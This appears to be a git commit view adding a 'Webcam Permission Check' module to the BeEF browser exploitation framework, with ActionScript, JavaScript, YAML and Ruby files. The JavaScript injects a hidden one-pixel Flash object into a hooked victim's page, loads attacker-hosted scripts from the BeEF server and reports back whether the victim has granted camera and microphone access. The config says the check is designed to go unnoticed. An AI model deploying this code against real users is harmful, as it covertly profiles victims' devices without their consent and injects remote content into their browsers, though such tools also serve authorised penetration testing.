Merge pull request #869 from bw-z/master
Added Webcam Permission Check Module - which I'll then update.
This commit is contained in:
54
modules/browser/webcam_permision_check/cameraCheck.as
Normal file
54
modules/browser/webcam_permision_check/cameraCheck.as
Normal file
@@ -0,0 +1,54 @@
|
||||
//
|
||||
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
// Source ActionScript for cameraCheck.swf
|
||||
package {
|
||||
|
||||
import flash.display.Sprite;
|
||||
import flash.external.ExternalInterface;
|
||||
import flash.media.Camera;
|
||||
import flash.system.Security;
|
||||
import flash.system.SecurityPanel;
|
||||
|
||||
public class CamCheck extends Sprite {
|
||||
|
||||
var _cam:Camera;
|
||||
|
||||
public function CamCheck() {
|
||||
|
||||
if (Camera.isSupported) {
|
||||
this._cam = Camera.getCamera();
|
||||
|
||||
if (!this._cam) {
|
||||
|
||||
//Either the camera is not available or some other error has occured
|
||||
ExternalInterface.call("naPermissions");
|
||||
|
||||
} else if (this._cam.muted) {
|
||||
|
||||
//The user has not allowed access to the camera
|
||||
ExternalInterface.call("noPermissions");
|
||||
|
||||
// Uncomment this show the privacy/security settings window
|
||||
//Security.showSettings(SecurityPanel.PRIVACY);
|
||||
} else {
|
||||
|
||||
//The user has allowed access to the camera
|
||||
ExternalInterface.call("yesPermissions");
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
//Camera Not Supported
|
||||
ExternalInterface.call("naPermissions");
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
BIN
modules/browser/webcam_permision_check/cameraCheck.swf
Normal file
BIN
modules/browser/webcam_permision_check/cameraCheck.swf
Normal file
Binary file not shown.
39
modules/browser/webcam_permision_check/command.js
Normal file
39
modules/browser/webcam_permision_check/command.js
Normal file
@@ -0,0 +1,39 @@
|
||||
//
|
||||
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
|
||||
//These 3 functions [naPermissions() The camera is not available or not supported
|
||||
// yesPermissions() The user is allowing access to the camera / mic
|
||||
// yesPermissions() The user has not allowed access to the camera / mic
|
||||
// Flash will invoke these functions directly.
|
||||
var js_functions = '<script>function noPermissions() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=The user has not allowed BeEF to access the camera :("); }; function yesPermissions() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=The user has allowed BeEF to access the camera :D"); }; function naPermissions() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Camera not supported / available :/"); }; ';
|
||||
|
||||
//This function is called by swfobject, if if fails to add the flash file to the page
|
||||
|
||||
js_functions += 'function swfobjectCallback(e) { if(e.success){beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Swfobject successfully added flash object to the victim page");}else{beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Swfobject was not able to add the swf file to the page. This could mean there was no flash plugin installed.");} };</script>';
|
||||
|
||||
|
||||
var body_flash_container = '<div id="main" style="position:absolute;top:150px;left:80px;width:1px;height:1px;opacity:0.8;"></div>';
|
||||
|
||||
//A library that helps include the swf file
|
||||
var swfobject_script = '<script type="text/javascript" src="http://'+beef.net.host+':'+beef.net.port+'/swfobject.js"></script>'
|
||||
|
||||
//This is the javascript that actually calls the swfobject library to include the swf file
|
||||
var include_script = '<script>var flashvars = {}; var parameters = {}; parameters.scale = "noscale"; parameters.wmode = "opaque"; parameters.allowFullScreen = "true"; parameters.allowScriptAccess = "always"; var attributes = {}; swfobject.embedSWF("http://'+beef.net.host+':'+beef.net.port+'/cameraCheck.swf", "main", "1", "1", "9", "expressInstall.swf", flashvars, parameters, attributes, swfobjectCallback);</script>';
|
||||
|
||||
|
||||
//Add flash content
|
||||
$j('body').append(js_functions, swfobject_script, body_flash_container, include_script);
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
15
modules/browser/webcam_permision_check/config.yaml
Normal file
15
modules/browser/webcam_permision_check/config.yaml
Normal file
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
wb:
|
||||
enable: true
|
||||
category: "Browser"
|
||||
name: "Webcam Permission Check"
|
||||
description: "This module will check to see if the user has allowed the BeEF domain (or all domains) to access the Camera and Mic with Flash. This module is transparent and should not be detected by the user (ie. no popup requesting permission will appear)"
|
||||
authors: ["@bw_z"]
|
||||
target:
|
||||
working: ["All"]
|
||||
18
modules/browser/webcam_permision_check/module.rb
Normal file
18
modules/browser/webcam_permision_check/module.rb
Normal file
@@ -0,0 +1,18 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
class Wb < BeEF::Core::Command
|
||||
def pre_send
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/wb/cameraCheck.swf', '/cameraCheck', 'swf')
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/wb/swfobject.js', '/swfobject', 'js')
|
||||
end
|
||||
|
||||
def post_execute
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/cameraCheck.swf')
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/swfobject.js')
|
||||
end
|
||||
|
||||
end
|
||||
4
modules/browser/webcam_permision_check/swfobject.js
Normal file
4
modules/browser/webcam_permision_check/swfobject.js
Normal file
File diff suppressed because one or more lines are too long
Reference in New Issue
Block a user